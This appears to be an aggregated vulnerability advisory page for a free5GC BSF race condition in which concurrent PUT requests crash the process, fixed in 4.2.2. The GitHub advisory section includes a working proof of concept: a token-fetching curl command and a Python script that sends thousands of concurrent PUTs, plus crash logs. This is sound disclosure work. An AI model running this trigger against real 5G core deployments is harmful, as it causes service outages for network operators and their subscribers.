free5GC: BSF concurrent PUT /nbsf-management/v1/subscriptions/{subId} crashes the BSF process via concurrent map read/write on Subscriptions

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free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's BSF PUT /nbsf-management/v1/subscriptions/{subId} handler has an unsynchronized write on the global Subscriptions map. The handler first reads the map under RLock() via BSFContext.GetSubscription(subId), but if the subscription does not exist, ReplaceIndividualSubcription() writes back to the same map directly without taking the mutex (bsfContext.BsfSelf.Subscriptions[subId] = subscription). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with fatal error: concurrent map read and map write (Go runtime panics that come from concurrent map access bypass recover() and terminate the process). The BSF container exits with code 2 -- the entire BSF SBI surface goes down until restart. This vulnerability is fixed in 4.2.2.

Source published

27 May 2026 15:35:41 UTC

Source modified

27 May 2026 17:35:49 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's BSF PUT /nbsf-management/v1/subscriptions/{subId} handler has an unsynchronized write on the global Subscriptions map. The handler first reads the map under RLock() via BSFContext.GetSubscription(subId), but if the subscription does not exist, ReplaceIndividualSubcription() writes back to the same map directly without taking the mutex (bsfContext.BsfSelf.Subscriptions[subId] = subscription). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with fatal error: concurrent map read and map write (Go runtime panics that come from concurrent map access bypass recover() and terminate the process). The BSF container exits with code 2 -- the entire BSF SBI surface goes down until restart. This vulnerability is fixed in 4.2.2.

Source published

May 27, 2026, 3:35:41 PM (timezone not stated)

Source modified

May 27, 2026, 5:35:49 PM (timezone not stated)

Observed here

9 Nov 2026 11:03:39 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's BSF PUT /nbsf-management/v1/subscriptions/{subId} handler has an unsynchronized write on the global Subscriptions map. The handler first reads the map under RLock() via BSFContext.GetSubscription(subId), but if the subscription does not exist, ReplaceIndividualSubcription() writes back to the same map directly without taking the mutex (bsfContext.BsfSelf.Subscriptions[subId] = subscription). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with fatal error: concurrent map read and map write (Go runtime panics that come from concurrent map access bypass recover() and terminate the process). The BSF container exits with code 2 -- the entire BSF SBI surface goes down until restart. This vulnerability is fixed in 4.2.2.

Source published

27 May 2026 17:16:36 UTC

Source modified

14 Oct 2026 20:10:00 UTC

Observed here

25 Oct 2026 10:17:21 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CVSS 3.1 · [email protected] · Primary · 5.3 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

### Summary free5GC's BSF `PUT /nbsf-management/v1/subscriptions/{subId}` handler has an unsynchronized write on the global `Subscriptions` map. The handler first reads the map under `RLock()` via `BSFContext.GetSubscription(subId)`, but if the subscription does not exist, `ReplaceIndividualSubcription()` writes back to the same map directly without taking the mutex (`bsfContext.BsfSelf.Subscriptions[subId] = subscription`). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with `fatal error: concurrent map read and map write` (Go runtime panics that come from concurrent map access bypass `recover()` and terminate the process). The BSF container exits with code `2` -- the entire BSF SBI surface goes down until restart. This endpoint requires a valid `nbsf-management` OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated process-kill DoS. ### Details Validated against the BSF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/bsf:v4.2.1` - Docker validation date: 2026-03-22 - BSF endpoint: `http://10.100.200.11:8000` Read side (locked): ```go func (c *BSFContext) GetSubscription(subId string) (*BsfSubscription, bool) { c.mutex.RLock() defer c.mutex.RUnlock() sub, exists := c.Subscriptions[subId] return sub, exists } ``` Unsafe write side in the create-if-absent branch of `ReplaceIndividualSubcription` (no `Lock()`): ```go subscription.SubId = subId bsfContext.BsfSelf.Subscriptions[subId] = subscription ``` Under concurrent traffic, the Go runtime detects the unsynchronized read/write on `c.Subscriptions` and aborts the process. Go's `concurrent map read and map write` fatal is NOT a normal panic -- it is unrecoverable, Gin's recovery middleware does not catch it, and the BSF process terminates. Code evidence (paths in `free5gc/bsf`): - Read side (locked): - `NFs/bsf/internal/sbi/processor/subscriptions.go:81` - `NFs/bsf/internal/context/context.go:726` - `NFs/bsf/internal/context/context.go:730` - Unsafe write side (the create-if-absent branch in PUT, no lock): - `NFs/bsf/internal/sbi/processor/subscriptions.go:111` - `NFs/bsf/internal/sbi/processor/subscriptions.go:114` The normal locked helpers (`CreateSubscription()`, `GetSubscription()`, `UpdateSubscription()`, `DeleteSubscription()`) DO take the mutex correctly. The bug is specific to the inline write inside the PUT create-if-absent branch. ### PoC Reproduced end-to-end against the running BSF at `http://10.100.200.11:8000`. 1. Obtain a valid `nbsf-management` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=BSF&scope=nbsf-management' ``` 2. Send concurrent PUT requests against fresh `subId` values (the validated lab uses 64 worker threads x 50 fresh subIds = 3200 concurrent PUTs): ```python import json, threading, urllib.request TOKEN = "<valid_nbsf_management_jwt>" BASE = "http://10.100.200.11:8000/nbsf-management/v1" PAYLOAD = json.dumps({ "events": ["PCF_BINDING_CREATION"], "notifUri": "http://127.0.0.1/cb", "notifCorreId": "1", "supi": "imsi-208930000000003", }).encode() def send_put(i, n): url = f"{BASE}/subscriptions/race-mix-{i}-{n}" req = urllib.request.Request(url, data=PAYLOAD, method="PUT") req.add_header("Authorization", f"Bearer {TOKEN}") req.add_header("Content-Type", "application/json") urllib.request.urlopen(req, timeout=2).read() threads = [] for i in range(64): for n in range(50): threads.append(threading.Thread(target=send_put, args=(i, n))) for t in threads: t.start() for t in threads: t.join() ``` 3. BSF container logs (`docker logs bsf`) show the Go runtime fatal that terminated the process: ``` [INFO][BSF][Proc] Handle ReplaceIndividualSubcription fatal error: concurrent map read and map write github.com/free5gc/bsf/internal/sbi/processor.ReplaceIndividualSubcription(0xc000514300) github.com/free5gc/bsf/internal/sbi/processor/subscriptions.go:81 +0x15f ``` 4. Container state confirms exit code 2: ``` exited|2|0 ``` ### Impact Unsynchronized concurrent access (CWE-362) to a shared map (`BsfSelf.Subscriptions`), combined with missing synchronization on the create-if-absent branch (CWE-820). Go's runtime detects concurrent map read/write and terminates the process via a non-recoverable fatal error -- Gin's `recover()` middleware does NOT catch this class of fatal, unlike ordinary nil-deref panics. The whole BSF process exits, dropping BSF's `nbsf-management` SBI surface (PCF binding lookups for SMF, AF -> PCF binding discovery, etc.) until restart. Any party that holds (or can obtain) a valid `nbsf-management` token can: - Drive the create-if-absent code path at high concurrency by PUTting a stream of fresh `subId` values, deterministically tripping the runtime fatal and killing the BSF process. - Repeat the trigger after every restart to sustain the outage. No Confidentiality impact (the crash returns no attacker-readable data). No persistent Integrity impact (BSF subscription state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of BSF service via concurrent attacker traffic on a single endpoint. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/926 Upstream fix: https://github.com/free5gc/bsf/pull/7

Source published

8 May 2026 22:41:48 UTC

Source modified

8 Jun 2026 20:15:13 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Publisher rating · MODERATE

free5GC's BSF concurrent PUT /nbsf-management/v1/subscriptions/{subId} crashes the BSF process via concurrent map read/write on Subscriptions in github.com/free5gc/bsf

Source published

20 May 2026 19:07:16 UTC

Source modified

20 May 2026 19:30:13 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.